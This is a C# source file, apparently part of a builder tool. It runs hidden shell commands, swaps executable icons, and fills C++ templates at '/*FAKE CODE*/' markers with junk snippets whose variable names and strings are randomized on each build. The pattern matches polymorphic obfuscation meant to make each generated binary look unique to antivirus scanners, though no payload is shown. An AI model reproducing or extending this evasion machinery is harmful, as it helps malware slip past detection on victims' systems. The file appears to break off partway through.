1180 lines
57 KiB
C#
1180 lines
57 KiB
C#
using Newtonsoft.Json;
|
||
using Newtonsoft.Json.Linq;
|
||
using Org.BouncyCastle.Crypto.Engines;
|
||
using Org.BouncyCastle.Crypto.Modes;
|
||
using Org.BouncyCastle.Crypto.Parameters;
|
||
using System;
|
||
using System.Collections.Generic;
|
||
using System.Collections.Specialized;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Linq;
|
||
using System.Net;
|
||
using System.Net.Http;
|
||
using System.Net.Security;
|
||
using System.Runtime.Remoting.Contexts;
|
||
using System.Security.Cryptography;
|
||
using System.Security.Cryptography.X509Certificates;
|
||
using System.Text;
|
||
using System.Text.RegularExpressions;
|
||
using System.Threading;
|
||
using Vestris.ResourceLib;
|
||
|
||
public class HexGenerator
|
||
{
|
||
private static readonly Random random = new Random();
|
||
|
||
public static string GetRandomHex()
|
||
{
|
||
int length = random.Next(3, 7); // 3 to 6 digits
|
||
int maxValue = (int)Math.Pow(16, length) - 1;
|
||
int value = random.Next(0, maxValue + 1);
|
||
|
||
return "0x" + value.ToString("X").PadLeft(length, '0');
|
||
}
|
||
}
|
||
|
||
class Program
|
||
{
|
||
|
||
static bool UrlIsValid(string url)
|
||
{
|
||
try
|
||
{
|
||
HttpWebRequest request = HttpWebRequest.Create(url) as HttpWebRequest;
|
||
request.Timeout = 2000; //set the timeout to 5 seconds to keep the user from waiting too long for the page to load
|
||
request.Method = "HEAD"; //Get only the header information -- no need to download any content
|
||
|
||
using (HttpWebResponse response = request.GetResponse() as HttpWebResponse)
|
||
{
|
||
int statusCode = (int)response.StatusCode;
|
||
if (statusCode >= 100 && statusCode < 400) //Good requests
|
||
{
|
||
return true;
|
||
}
|
||
else if (statusCode >= 500 && statusCode <= 510) //Server Errors
|
||
{
|
||
//log.Warn(String.Format("The remote server has thrown an internal error. Url is not valid: {0}", url));
|
||
return false;
|
||
}
|
||
}
|
||
}
|
||
catch (WebException ex)
|
||
{
|
||
if (ex.Status == WebExceptionStatus.ProtocolError) //400 errors
|
||
{
|
||
return false;
|
||
}
|
||
else
|
||
{
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
}
|
||
return false;
|
||
}
|
||
|
||
public static string ExecuteCommandCMD(string command)
|
||
{
|
||
try
|
||
{
|
||
// Create a new process start info
|
||
ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd.exe", "/c " + command)
|
||
{
|
||
RedirectStandardError = true,
|
||
RedirectStandardOutput = true,
|
||
UseShellExecute = false,
|
||
CreateNoWindow = true
|
||
};
|
||
|
||
// Create a process and assign the start info
|
||
using (Process proc = new Process())
|
||
{
|
||
proc.StartInfo = procStartInfo;
|
||
proc.Start();
|
||
|
||
// Wait for the process to exit
|
||
proc.WaitForExit();
|
||
|
||
// Read the output and error streams
|
||
string output = proc.StandardOutput.ReadToEnd();
|
||
string error = proc.StandardError.ReadToEnd();
|
||
|
||
// Return the output or error
|
||
if (!string.IsNullOrEmpty(output))
|
||
{
|
||
return output;
|
||
}
|
||
else if (!string.IsNullOrEmpty(error))
|
||
{
|
||
return "Error: " + error;
|
||
}
|
||
else
|
||
{
|
||
return "No output or error.";
|
||
}
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return "Exception: " + ex.Message;
|
||
}
|
||
}
|
||
public static string ExecuteCommand(string ex, string args)
|
||
{
|
||
|
||
ProcessStartInfo procStartInfo = new ProcessStartInfo(ex, args)
|
||
{
|
||
RedirectStandardError = true,
|
||
RedirectStandardOutput = true,
|
||
UseShellExecute = false,
|
||
CreateNoWindow = false
|
||
};
|
||
|
||
using (Process proc = new Process())
|
||
{
|
||
proc.StartInfo = procStartInfo;
|
||
proc.Start();
|
||
|
||
string output = proc.StandardOutput.ReadToEnd();
|
||
|
||
if (string.IsNullOrEmpty(output))
|
||
output = proc.StandardError.ReadToEnd();
|
||
|
||
return output;
|
||
}
|
||
|
||
}
|
||
|
||
|
||
private static Random randomAMAQ = new Random();
|
||
public static string xxasdffds3(int length)
|
||
{
|
||
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||
return new string(Enumerable.Repeat(chars, length)
|
||
.Select(s => s[randomAMAQ.Next(s.Length)]).ToArray());
|
||
}
|
||
|
||
static string GetRandomURLA()
|
||
{
|
||
|
||
List<string> stringListuq = new List<string>
|
||
{
|
||
"https://raw.githubusercontent.com/VinieClara/FN-Manfiestes/main/SdkVersion.txt"
|
||
};
|
||
|
||
|
||
if (stringListuq == null || stringListuq.Count == 0)
|
||
{
|
||
throw new ArgumentException("The list of strings is null or empty.");
|
||
}
|
||
|
||
Random muratrandom = new Random();
|
||
int randomIndexmurat = muratrandom.Next(0, stringListuq.Count);
|
||
return stringListuq[randomIndexmurat];
|
||
}
|
||
|
||
|
||
static void CopyDirectory(string sourceDir, string destDir)
|
||
{
|
||
DirectoryInfo dir = new DirectoryInfo(sourceDir);
|
||
|
||
if (!dir.Exists)
|
||
{
|
||
throw new DirectoryNotFoundException($"Source directory does not exist or could not be found: {sourceDir}");
|
||
}
|
||
|
||
DirectoryInfo[] dirs = dir.GetDirectories();
|
||
Directory.CreateDirectory(destDir);
|
||
|
||
FileInfo[] files = dir.GetFiles();
|
||
foreach (FileInfo file in files)
|
||
{
|
||
string tempPath = Path.Combine(destDir, file.Name);
|
||
file.CopyTo(tempPath, false);
|
||
}
|
||
|
||
foreach (DirectoryInfo subdir in dirs)
|
||
{
|
||
string tempPath = Path.Combine(destDir, subdir.Name);
|
||
CopyDirectory(subdir.FullName, tempPath);
|
||
}
|
||
}
|
||
|
||
static void ChangeExeIcon(string icoPath, string exePath)
|
||
{
|
||
try
|
||
{
|
||
if (!File.Exists(icoPath))
|
||
{
|
||
Console.WriteLine($"Icon file '{icoPath}' does not exist.");
|
||
return;
|
||
}
|
||
|
||
if (!File.Exists(exePath))
|
||
{
|
||
Console.WriteLine($"Executable file '{exePath}' does not exist.");
|
||
return;
|
||
}
|
||
|
||
// Load the executable file
|
||
var iconFile = new IconFile(icoPath);
|
||
var iconDirectoryResource = new IconDirectoryResource(iconFile);
|
||
|
||
// Replace the icon in the executable
|
||
iconDirectoryResource.SaveTo(exePath);
|
||
|
||
Console.WriteLine("Icon successfully changed.");
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
static void DeleteFolder(string folderPath)
|
||
{
|
||
try
|
||
{
|
||
if (Directory.Exists(folderPath))
|
||
{
|
||
Directory.Delete(folderPath, true);
|
||
Console.WriteLine($"The folder '{folderPath}' and all its contents have been deleted.");
|
||
}
|
||
else
|
||
{
|
||
Console.WriteLine($"The folder '{folderPath}' does not exist.");
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine($"Error: {ex.Message}");
|
||
}
|
||
}
|
||
static void ReplaceTextInFile(string filePath, string searchText, string replaceText)
|
||
{
|
||
if (!File.Exists(filePath))
|
||
{
|
||
throw new FileNotFoundException($"File not found: {filePath}");
|
||
}
|
||
|
||
string content = File.ReadAllText(filePath);
|
||
content = content.Replace(searchText, replaceText);
|
||
File.WriteAllText(filePath, content);
|
||
}
|
||
static bool ContainsPREInLast6(string str)
|
||
{
|
||
if (str.Length < 6)
|
||
return false;
|
||
|
||
string last6 = str.Substring(str.Length - 6);
|
||
return last6.Contains("PRE");
|
||
}
|
||
static string GetRandomNumberBIG()
|
||
{
|
||
Random random = new Random();
|
||
int randomNumber = random.Next(1000000, 9999999);
|
||
return randomNumber.ToString();
|
||
}
|
||
|
||
static string GetRandomNumberSMOL()
|
||
{
|
||
Random randomsm = new Random();
|
||
int randomNumbersm = randomsm.Next(250, 2800);
|
||
return randomNumbersm.ToString();
|
||
}
|
||
|
||
static void ReplaceFakeCode(string filePath)
|
||
{
|
||
List<string> replacements = new List<string>
|
||
{
|
||
"char randBuf[32];\nHCRYPTPROV hCryptProv;\nCryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);\nCryptGenRandom(hCryptProv, 32, reinterpret_cast<BYTE*>(randBuf));\nint checkSum = 0;\nfor (int j = 0; j < 32; j += 2) {\n checkSum += (randBuf[j] * randBuf[j + 1]) ^ j;\n}\nCryptReleaseContext(hCryptProv, 0);\nstd::cout << \"Checksum: \" << checkSum << \"\\n\";",
|
||
"MEMORYSTATUSEX memStatus;\nmemStatus.dwLength = sizeof(memStatus);\nGlobalMemoryStatusEx(&memStatus);\nDWORDLONG totalMem = memStatus.ullTotalPhys;\nDWORDLONG availMem = memStatus.ullAvailPhys;\nfor (int i = 0; i < 5; i++) {\n totalMem = _rotl64(totalMem, i) ^ availMem;\n}\ntotalMem %= 8192;\nstd::cout << \"Memory calc: \" << totalMem << \"\\n\";",
|
||
"std::string encode = \"DeadCode_\" + std::to_string(std::rand() % 100);\nchar key = static_cast<char>(GetTickCount() % 128);\nfor (size_t i = 0; i < encode.length(); i++) {\n encode[i] ^= (key + i);\n key = static_cast<char>((key * 3 + i) % 256);\n}\nfor (size_t j = 0; j < encode.length() / 2; j++) {\n encode[j] += encode[encode.length() - 1 - j] ^ key;\n}\nstd::cout << \"Encoded: \" << encode << \"\\n\";",
|
||
"HWND hwndList[5] = {nullptr};\nint count = 0;\nfor (int i = 0; i < 8 && count < 5; i++) {\n hwndList[count] = FindWindowExA(nullptr, hwndList[count > 0 ? count - 1 : 0], nullptr, nullptr);\n if (hwndList[count] && IsWindowVisible(hwndList[count])) count++;\n}\nBOOL isValid = count > 0 ? IsWindow(hwndList[0]) : FALSE;\nstd::cout << \"Valid windows: \" << count << \", First valid: \" << isValid << \"\\n\";",
|
||
"int data[12];\nint* p = data;\nsrand(GetTickCount());\nfor (int i = 0; i < 12; i++) {\n *(p + i) = ((i * 13) ^ rand()) % 31;\n}\nint offset = 0;\nfor (int j = 0; j < 6; j++) {\n offset += (*(p + j) * j) - *(p + 11 - j);\n}\nstd::cout << \"Offset: \" << offset << \"\\n\";",
|
||
"char titles[3][10] = {\"AlphaX\", \"BetaY\", \"GammaZ\"};\nDWORD pid = GetCurrentProcessId();\nfor (int i = 0; i < 3; i++) {\n titles[i][5] = static_cast<char>('0' + (pid % 10));\n SetConsoleTitleA(titles[i]);\n Sleep(1 + (pid % 3));\n}\nSetConsoleTitleA(std::to_string(pid % 100).c_str());\nDWORD tick = GetTickCount() % 25;\nstd::cout << \"Tick: \" << tick << \"\\n\";",
|
||
"int grid[5][5];\nfor (int i = 0; i < 5; i++) {\n for (int j = 0; j < 5; j++) {\n grid[i][j] = ((i * j) << 3) ^ (i + j);\n }\n}\nint flatSum = 0;\nfor (int k = 0; k < 25; k++) {\n flatSum += grid[k / 5][k % 5] * (k + 1) % 64;\n}\nstd::cout << \"Grid sum: \" << flatSum << \"\\n\";",
|
||
"FILETIME ft;\nSYSTEMTIME st;\nGetSystemTimeAsFileTime(&ft);\nFileTimeToSystemTime(&ft, &st);\nst.wHour = (st.wHour + (GetTickCount() % 5)) % 24;\nst.wMinute ^= (st.wSecond >> 1);\nst.wSecond += st.wMilliseconds % 10;\nSystemTimeToFileTime(&st, &ft);\nDWORD low = ft.dwLowDateTime % 1500;\nstd::cout << \"Low time: \" << low << \"\\n\";",
|
||
"float angles[8];\nDWORD seed = GetTickCount();\nsrand(seed);\nfor (int i = 0; i < 8; i++) {\n angles[i] = cos(static_cast<float>(i + (rand() % 5)) / 3.0f);\n}\nfloat total = 0.0f;\nfor (int j = 0; j < 8; j++) {\n total += angles[j] * tan(angles[(j + rand() % 4) % 8]);\n}\nstd::cout << \"Angle total: \" << total << \"\\n\";",
|
||
"DWORD freqSum = 0;\nfor (int freq = 200; freq < 260; freq += 7) {\n Beep(freq + (GetTickCount() % 10), 3 + (freq % 4));\n freqSum += (freq * (freq % 13)) % 60;\n}\nstd::cout << \"Freq sum: \" << freqSum << \"\\n\";",
|
||
"int matrix[3][3] = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) matrix[i][j] += rand() % 5;\nint det = 0;\nfor (int i = 0; i < 3; i++) {\n det += matrix[0][i] * (matrix[1][(i + 1) % 3] * matrix[2][(i + 2) % 3] - matrix[1][(i + 2) % 3] * matrix[2][(i + 1) % 3]);\n}\ndet %= 150;\nstd::cout << \"Det: \" << det << \"\\n\";",
|
||
"char buffer[20] = \"Delta1_Obf\";\nDWORD tick = GetTickCount();\nfor (int i = 0; i < 19; i++) {\n buffer[i] ^= (buffer[i + 1] + (tick % 7));\n buffer[i] = _rotl8(buffer[i], i % 4);\n}\nstd::string temp(buffer);\nfor (char& c : temp) c = (c << 2) % 127;\nstd::cout << \"Temp: \" << temp << \"\\n\";",
|
||
"POINT p;\nGetCursorPos(&p);\nint x = p.x ^ (GetTickCount() % 100);\nint y = p.y;\nfor (int i = 0; i < 5; i++) {\n x = (x * 5 + i) % 2560;\n y = (y ^ (x >> i)) % 1440;\n}\np.x = x + (y << 1);\nstd::cout << \"Cursor calc: \" << p.x << \"\\n\";",
|
||
"int* ptr = new int[15];\nDWORD seed = GetCurrentThreadId();\nsrand(seed);\nfor (int i = 0; i < 15; i++) {\n ptr[i] = ((i * 17) ^ rand()) % 59;\n}\nint product = 1;\nfor (int j = 0; j < 15; j += 2) {\n product *= (ptr[j] + ptr[j + 1]) % 100;\n}\nstd::cout << \"Product: \" << product << \"\\n\";\ndelete[] ptr;",
|
||
"SYSTEMTIME st;\nGetSystemTime(&st);\nunsigned int fakeHash = (st.wSecond * 1000 + st.wMilliseconds) ^ st.wHour;\nfor (int i = 0; i < 6; i++) {\n fakeHash = _rotl(fakeHash, i) ^ (st.wMinute + i);\n}\nDWORD tick = GetTickCount();\nfakeHash += (tick % 150);\nstd::cout << \"Fake hash: \" << fakeHash << \"\\n\";",
|
||
"std::string dummyStr = \"Calc_\" + std::to_string(GetTickCount() % 100);\nfloat angle = 0.0f;\nfor (size_t i = 0; i < dummyStr.length(); i++) {\n angle += sin(static_cast<float>(dummyStr[i] % 15) / 2.0f);\n dummyStr[i] ^= ((i + 1) % 5);\n}\ndouble result = angle * 3.14159 * cos(angle);\nstd::cout << \"Result: \" << result << \"\\n\";",
|
||
"HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\nCONSOLE_SCREEN_BUFFER_INFO csbi;\nGetConsoleScreenBufferInfo(hConsole, &csbi);\nshort origCols = csbi.dwSize.X;\nshort origRows = csbi.dwSize.Y;\ncsbi.dwSize.X += (GetTickCount() % 5);\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);\nSleep(2);\ncsbi.dwSize.X = origCols;\ncsbi.dwSize.Y += (rand() % 3);\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);\nSleep(1);\ncsbi.dwSize.Y = origRows;\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);",
|
||
"int tempArr[10];\nDWORD seed = GetCurrentProcessId();\nsrand(seed);\nfor (int i = 0; i < 10; i++) {\n tempArr[i] = ((i << 4) ^ (rand() + i)) % 31;\n}\nint sum = 0;\nfor (int j = 0; j < 10; j++) {\n sum += tempArr[j] * (j + 2) ^ (sum >> 1);\n}\nstd::cout << \"Array sum: \" << sum << \"\\n\";",
|
||
"int noiseArr[16];\nsrand(static_cast<unsigned>(GetCurrentProcessId() ^ GetTickCount()));\nfor (int i = 0; i < 16; i++) {\n noiseArr[i] = (rand() ^ (i << 2)) % 73;\n}\nint noiseSum = 0;\nfor (int j = 0; j < 16; j += 3) {\n noiseSum += noiseArr[j] * noiseArr[(j + 1) % 16] - noiseArr[(j + 2) % 16];\n}\nstd::cout << \"Noise sum: \" << noiseSum << \"\\n\";",
|
||
"char obfuscate[24] = \"HiddenText1234567890\";\nDWORD tickShift = GetTickCount();\nfor (int i = 0; i < 23; i++) {\n obfuscate[i] ^= (tickShift % 13) + obfuscate[i + 1];\n obfuscate[i] = _rotr8(obfuscate[i], (i % 3) + 1);\n}\nstd::string obfStr(obfuscate);\nfor (size_t k = 0; k < obfStr.length(); k++) {\n obfStr[k] += (k % 7);\n}\nstd::cout << \"Obfuscated: \" << obfStr << \"\\n\";",
|
||
"float wave[10];\nDWORD waveSeed = GetCurrentThreadId();\nsrand(waveSeed);\nfor (int i = 0; i < 10; i++) {\n wave[i] = sin(static_cast<float>(rand() % 20) / 4.0f) + cos(static_cast<float>(i) / 2.0f);\n}\nfloat waveSum = 0.0f;\nfor (int j = 0; j < 10; j++) {\n waveSum += wave[j] * wave[(j + 3) % 10];\n}\nstd::cout << \"Wave sum: \" << waveSum << \"\\n\";",
|
||
"int lattice[4][4];\nfor (int i = 0; i < 4; i++) {\n for (int j = 0; j < 4; j++) {\n lattice[i][j] = ((i ^ j) << 4) + (GetTickCount() % 17);\n }\n}\nint latticeProd = 1;\nfor (int k = 0; k < 16; k++) {\n latticeProd *= lattice[k / 4][k % 4] % 41;\n}\nstd::cout << \"Lattice prod: \" << latticeProd << \"\\n\";",
|
||
"SYSTEMTIME sysTime;\nGetLocalTime(&sysTime);\nDWORD timeHash = sysTime.wDay * 1440 + sysTime.wHour * 60 + sysTime.wMinute;\nfor (int i = 0; i < 5; i++) {\n timeHash ^= (timeHash << i) + sysTime.wMilliseconds;\n}\ntimeHash %= 10000;\nstd::cout << \"Time hash: \" << timeHash << \"\\n\";",
|
||
"char soundSeq[16];\nsrand(GetTickCount());\nfor (int i = 0; i < 16; i++) {\n soundSeq[i] = static_cast<char>((rand() % 50) + 65);\n}\nint soundSum = 0;\nfor (int j = 0; j < 16; j += 4) {\n Beep(soundSeq[j] * 10, 2);\n soundSum += soundSeq[j] ^ soundSeq[j + 1];\n}\nstd::cout << \"Sound sum: \" << soundSum << \"\\n\";",
|
||
"int* dynArr = new int[20];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 20; i++) {\n dynArr[i] = (rand() * i) % 97;\n}\nint dynSum = 0;\nfor (int j = 0; j < 20; j += 2) {\n dynSum += (dynArr[j] << 1) - dynArr[j + 1];\n}\nstd::cout << \"Dynamic sum: \" << dynSum << \"\\n\";\ndelete[] dynArr;",
|
||
"CONSOLE_CURSOR_INFO cci;\nHANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);\nGetConsoleCursorInfo(hOut, &cci);\ncci.dwSize = (cci.dwSize + (GetTickCount() % 10)) % 100;\nSetConsoleCursorInfo(hOut, &cci);\nSleep(1);\ncci.dwSize = 25;\nSetConsoleCursorInfo(hOut, &cci);\nDWORD cursorTick = GetTickCount() % 50;\nstd::cout << \"Cursor tick: \" << cursorTick << \"\\n\";",
|
||
"std::string twist = \"Twist_\" + std::to_string(GetCurrentThreadId() % 100);\nchar twistKey = static_cast<char>(rand() % 64 + 32);\nfor (size_t i = 0; i < twist.length(); i++) {\n twist[i] ^= twistKey + (i % 3);\n twistKey = static_cast<char>((twistKey << 1) % 128);\n}\nfor (size_t j = 0; j < twist.length(); j++) {\n twist[j] += twist[(j + 1) % twist.length()];\n}\nstd::cout << \"Twisted: \" << twist << \"\\n\";",
|
||
"int scramble[8];\nDWORD scramSeed = GetTickCount() ^ GetCurrentProcessId();\nsrand(scramSeed);\nfor (int i = 0; i < 8; i++) {\n scramble[i] = (rand() ^ (i << 3)) % 43;\n}\nint scramSum = 0;\nfor (int j = 0; j < 8; j++) {\n scramSum += scramble[j] * (scramble[(j + 2) % 8] >> 1);\n}\nstd::cout << \"Scramble sum: \" << scramSum << \"\\n\";",
|
||
"FILETIME ftRand;\nGetSystemTimeAsFileTime(&ftRand);\nDWORD randLow = ftRand.dwLowDateTime;\nDWORD randHigh = ftRand.dwHighDateTime;\nfor (int i = 0; i < 4; i++) {\n randLow ^= (randHigh >> i) + (GetTickCount() % 11);\n randHigh = _rotl(randHigh, i);\n}\nrandLow %= 2000;\nstd::cout << \"Random low: \" << randLow << \"\\n\";",
|
||
"int matrix4[4][4];\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 4; i++) {\n for (int j = 0; j < 4; j++) {\n matrix4[i][j] = (rand() % 10) + (i * j);\n }\n}\nint trace = 0;\nfor (int k = 0; k < 4; k++) {\n trace += matrix4[k][k] * (matrix4[(k + 1) % 4][(k + 1) % 4] % 7);\n}\nstd::cout << \"Matrix trace: \" << trace << \"\\n\";",
|
||
"char noiseStr[32];\nsrand(GetTickCount());\nfor (int i = 0; i < 32; i++) {\n noiseStr[i] = static_cast<char>((rand() % 95) + 32);\n}\nint noiseHash = 0;\nfor (int j = 0; j < 32; j += 2) {\n noiseHash += (noiseStr[j] ^ noiseStr[j + 1]) * (j + 1);\n}\nstd::cout << \"Noise hash: \" << noiseHash << \"\\n\";",
|
||
"POINT cursorShift;\nGetCursorPos(&cursorShift);\nint shiftX = cursorShift.x;\nint shiftY = cursorShift.y;\nfor (int i = 0; i < 6; i++) {\n shiftX = (shiftX + (GetTickCount() % 13)) % 1920;\n shiftY ^= (shiftX << i) % 1080;\n}\ncursorShift.x = shiftX - shiftY;\nstd::cout << \"Shifted X: \" << cursorShift.x << \"\\n\";",
|
||
"int* fluxArr = new int[12];\nsrand(GetCurrentProcessId() ^ GetTickCount());\nfor (int i = 0; i < 12; i++) {\n fluxArr[i] = ((i << 2) + rand()) % 67;\n}\nint fluxProd = 1;\nfor (int j = 0; j < 12; j += 3) {\n fluxProd *= fluxArr[j] ^ fluxArr[(j + 1) % 12];\n}\nstd::cout << \"Flux prod: \" << fluxProd << \"\\n\";\ndelete[] fluxArr;",
|
||
"SYSTEMTIME stShift;\nGetSystemTime(&stShift);\nDWORD shiftVal = stShift.wMinute * 60 + stShift.wSecond;\nfor (int i = 0; i < 5; i++) {\n shiftVal = (shiftVal << i) ^ (stShift.wMilliseconds + i);\n}\nshiftVal %= 5000;\nstd::cout << \"Shift val: \" << shiftVal << \"\\n\";",
|
||
"float sinWave[6];\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 6; i++) {\n sinWave[i] = sin(static_cast<float>(rand() % 10) / 3.0f);\n}\nfloat waveMix = 0.0f;\nfor (int j = 0; j < 6; j++) {\n waveMix += sinWave[j] * cos(sinWave[(j + 2) % 6]);\n}\nstd::cout << \"Wave mix: \" << waveMix << \"\\n\";",
|
||
"char titleMix[15] = \"MixTitle_123\";\nDWORD pidMix = GetCurrentProcessId();\nfor (int i = 0; i < 3; i++) {\n titleMix[i + 9] = static_cast<char>('0' + (pidMix % 10));\n SetConsoleTitleA(titleMix);\n pidMix /= 10;\n Sleep(1);\n}\nSetConsoleTitleA(\"Console\");\nstd::cout << \"Title mix done\\n\";",
|
||
"int grid3[3][3];\nsrand(GetTickCount());\nfor (int i = 0; i < 3; i++) {\n for (int j = 0; j < 3; j++) {\n grid3[i][j] = (rand() % 15) ^ (i + j);\n }\n}\nint gridSum = 0;\nfor (int k = 0; k < 9; k++) {\n gridSum += grid3[k / 3][k % 3] * (k % 4 + 1);\n}\nstd::cout << \"Grid3 sum: \" << gridSum << \"\\n\";",
|
||
"DWORD beepCycle = 150;\nfor (int i = 0; i < 5; i++) {\n Beep(beepCycle + (GetTickCount() % 20), 4 + (i % 3));\n beepCycle += (rand() % 10);\n}\nDWORD cycleSum = beepCycle * (GetTickCount() % 7);\nstd::cout << \"Cycle sum: \" << cycleSum << \"\\n\";",
|
||
"int* rotArr = new int[14];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 14; i++) {\n rotArr[i] = _rotl(i * 11, i % 4) % 53;\n}\nint rotSum = 0;\nfor (int j = 0; j < 14; j += 2) {\n rotSum += rotArr[j] ^ (rotArr[j + 1] >> 1);\n}\nstd::cout << \"Rot sum: \" << rotSum << \"\\n\";\ndelete[] rotArr;",
|
||
"std::string fluxStr = \"Flux_\" + std::to_string(GetTickCount() % 1000);\nchar fluxKey = static_cast<char>(GetCurrentThreadId() % 128);\nfor (size_t i = 0; i < fluxStr.length(); i++) {\n fluxStr[i] ^= (fluxKey + i) % 64;\n fluxKey = static_cast<char>((fluxKey * 5) % 256);\n}\nfor (size_t j = 0; j < fluxStr.length() / 2; j++) {\n fluxStr[j] -= fluxStr[fluxStr.length() - 1 - j];\n}\nstd::cout << \"Flux str: \" << fluxStr << \"\\n\";",
|
||
"MEMORY_BASIC_INFORMATION mbi;\nVirtualQuery(GetCurrentProcess(), &mbi, sizeof(mbi));\nSIZE_T baseAddr = reinterpret_cast<SIZE_T>(mbi.BaseAddress);\nfor (int i = 0; i < 5; i++) {\n baseAddr = (baseAddr >> i) ^ (GetTickCount() + i);\n}\nbaseAddr %= 32768;\nstd::cout << \"Base addr: \" << baseAddr << \"\\n\";",
|
||
"int polyArr[10];\nsrand(GetCurrentThreadId() ^ GetTickCount());\nfor (int i = 0; i < 10; i++) {\n polyArr[i] = ((rand() << 2) ^ i) % 89;\n}\nint polySum = 0;\nfor (int j = 0; j < 10; j += 2) {\n polySum += polyArr[j] * polyArr[j + 1] - (polySum % 5);\n}\nstd::cout << \"Poly sum: \" << polySum << \"\\n\";",
|
||
"char mixBuf[20] = \"MixBuffer98765432\";\nDWORD mixTick = GetTickCount();\nfor (int i = 0; i < 19; i++) {\n mixBuf[i] ^= mixBuf[i + 1] + (mixTick % 9);\n mixBuf[i] = _rotl8(mixBuf[i], (i % 5));\n}\nstd::string mixStr(mixBuf);\nfor (char& c : mixStr) {\n c = (c + (GetTickCount() % 3)) % 127;\n}\nstd::cout << \"Mix str: \" << mixStr << \"\\n\";",
|
||
"SYSTEMTIME stMix;\nGetLocalTime(&stMix);\nDWORD mixHash = stMix.wHour * 3600 + stMix.wMinute * 60 + stMix.wSecond;\nfor (int i = 0; i < 4; i++) {\n mixHash ^= (mixHash >> i) + (stMix.wDay << i);\n}\nmixHash %= 7500;\nstd::cout << \"Mix hash: \" << mixHash << \"\\n\";",
|
||
"float polyWave[8];\nsrand(GetTickCount());\nfor (int i = 0; i < 8; i++) {\n polyWave[i] = cos(static_cast<float>(rand() % 15) / 2.0f) * sin(static_cast<float>(i));\n}\nfloat polyMix = 0.0f;\nfor (int j = 0; j < 8; j++) {\n polyMix += polyWave[j] * polyWave[(j + 1) % 8];\n}\nstd::cout << \"Poly mix: \" << polyMix << \"\\n\";",
|
||
"int* chaosArr = new int[18];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 18; i++) {\n chaosArr[i] = (rand() ^ (i << 3)) % 61;\n}\nint chaosSum = 0;\nfor (int j = 0; j < 18; j += 3) {\n chaosSum += chaosArr[j] * (chaosArr[(j + 2) % 18] >> 2);\n}\nstd::cout << \"Chaos sum: \" << chaosSum << \"\\n\";\ndelete[] chaosArr;"
|
||
};
|
||
|
||
Random random = new Random();
|
||
string text = File.ReadAllText(filePath);
|
||
|
||
// Replace each /*FAKE CODE*/ with a randomized C++ snippet
|
||
text = Regex.Replace(text, @"/\*FAKE CODE\*/", match =>
|
||
{
|
||
string selectedCode = replacements[random.Next(replacements.Count)];
|
||
return RandomizeCodeBlock(selectedCode, random);
|
||
});
|
||
|
||
File.WriteAllText(filePath, text);
|
||
}
|
||
|
||
static string RandomizeCodeBlock(string code, Random random)
|
||
{
|
||
// Generate random suffix for variable names
|
||
string GenerateRandomSuffix() => random.Next(1000, 9999).ToString() + RandomString(3, random);
|
||
|
||
// Generate random alphanumeric string
|
||
string RandomString(int length, Random rand)
|
||
{
|
||
const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||
char[] result = new char[length];
|
||
for (int i = 0; i < length; i++) result[i] = chars[rand.Next(chars.Length)];
|
||
return new string(result);
|
||
}
|
||
|
||
// Dictionary to track variable name replacements
|
||
Dictionary<string, string> varReplacements = new Dictionary<string, string>();
|
||
|
||
// Common variable names to replace (excluding keywords and types)
|
||
string[] variableNames = { "randBuf", "hCryptProv", "checkSum", "j", "memStatus", "totalMem", "availMem", "i",
|
||
"encode", "key", "hwndList", "count", "isValid", "data", "p", "offset", "titles", "pid", "tick", "grid",
|
||
"flatSum", "seed", "total", "freqSum", "freq", "matrix", "det", "buffer",
|
||
"temp", "ptr", "product", "fakeHash", "dummyStr", "angle", "result", "hConsole", "csbi", "origCols",
|
||
"origRows", "tempArr", "sum", "noiseArr", "noiseSum", "obfuscate", "tickShift", "obfStr", "wave", "waveSeed",
|
||
"waveSum", "lattice", "latticeProd", "sysTime", "timeHash", "soundSeq", "soundSum", "dynArr", "dynSum", "cci",
|
||
"hOut", "cursorTick", "twist", "twistKey", "scramble", "scramSeed", "scramSum", "ftRand", "randLow", "randHigh",
|
||
"matrix4", "trace", "noiseStr", "noiseHash", "cursorShift", "shiftX", "shiftY", "fluxArr", "fluxProd", "stShift",
|
||
"shiftVal", "sinWave", "waveMix", "titleMix", "pidMix", "grid3", "gridSum", "beepCycle", "cycleSum", "rotArr",
|
||
"rotSum", "fluxStr", "fluxKey", "mbi", "baseAddr", "polyArr", "polySum", "mixBuf", "mixTick", "mixStr", "stMix",
|
||
"mixHash", "polyWave", "polyMix", "chaosArr", "chaosSum" };
|
||
|
||
// Replace variable names
|
||
foreach (string var in variableNames)
|
||
{
|
||
if (!varReplacements.ContainsKey(var))
|
||
{
|
||
varReplacements[var] = var + GenerateRandomSuffix();
|
||
}
|
||
code = Regex.Replace(code, $@"\b{var}\b", varReplacements[var]);
|
||
}
|
||
|
||
// Randomize string literals (only those in quotes, not format specifiers like "\n")
|
||
code = Regex.Replace(code, @"\""([^\""]+)\""", match =>
|
||
{
|
||
string originalString = match.Groups[1].Value;
|
||
if (originalString == "\\n") return match.Value; // Skip newline
|
||
return "\"" + RandomString(originalString.Length, random) + "\"";
|
||
});
|
||
|
||
return code;
|
||
}
|
||
|
||
